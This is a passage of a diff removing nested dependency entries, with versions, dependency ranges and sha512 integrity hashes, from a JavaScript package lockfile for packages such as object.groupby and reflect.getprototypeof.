- "object.fromentries/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "object.fromentries/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "object.fromentries/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "object.fromentries/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "object.fromentries/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "object.fromentries/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "object.fromentries/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "object.fromentries/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "object.fromentries/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "object.fromentries/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "object.groupby/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "object.groupby/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "object.groupby/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "object.groupby/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "object.groupby/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "object.groupby/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "object.groupby/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "object.groupby/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "object.groupby/es-abstract/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "object.groupby/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "object.groupby/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "object.groupby/es-abstract/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "object.groupby/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "object.groupby/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "object.groupby/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "object.groupby/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "object.groupby/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "object.groupby/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "object.groupby/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "object.groupby/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "object.groupby/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "object.groupby/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "object.groupby/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "object.groupby/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "object.groupby/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "object.groupby/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "object.groupby/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "reflect.getprototypeof/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "reflect.getprototypeof/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "reflect.getprototypeof/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "reflect.getprototypeof/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "reflect.getprototypeof/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "reflect.getprototypeof/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "reflect.getprototypeof/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "reflect.getprototypeof/es-abstract/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "reflect.getprototypeof/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "reflect.getprototypeof/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "reflect.getprototypeof/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "reflect.getprototypeof/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "reflect.getprototypeof/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "reflect.getprototypeof/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "reflect.getprototypeof/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "reflect.getprototypeof/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "reflect.getprototypeof/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "reflect.getprototypeof/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "reflect.getprototypeof/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "reflect.getprototypeof/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "reflect.getprototypeof/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "reflect.getprototypeof/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "reflect.getprototypeof/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "reflect.getprototypeof/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "reflect.getprototypeof/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "regexp.prototype.flags/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "regexp.prototype.flags/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "safe-array-concat/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "safe-regex-test/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "safe-regex-test/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "side-channel/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "stop-iteration-iterator/internal-slot/side-channel": ["side-channel@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.3", "side-channel-list": "^1.0.0", "side-channel-map": "^1.0.1", "side-channel-weakmap": "^1.0.2" } }, "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw=="],
-
- "string.prototype.includes/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "string.prototype.includes/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "string.prototype.includes/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "string.prototype.includes/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "string.prototype.includes/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "string.prototype.includes/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "string.prototype.includes/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "string.prototype.includes/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "string.prototype.includes/es-abstract/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
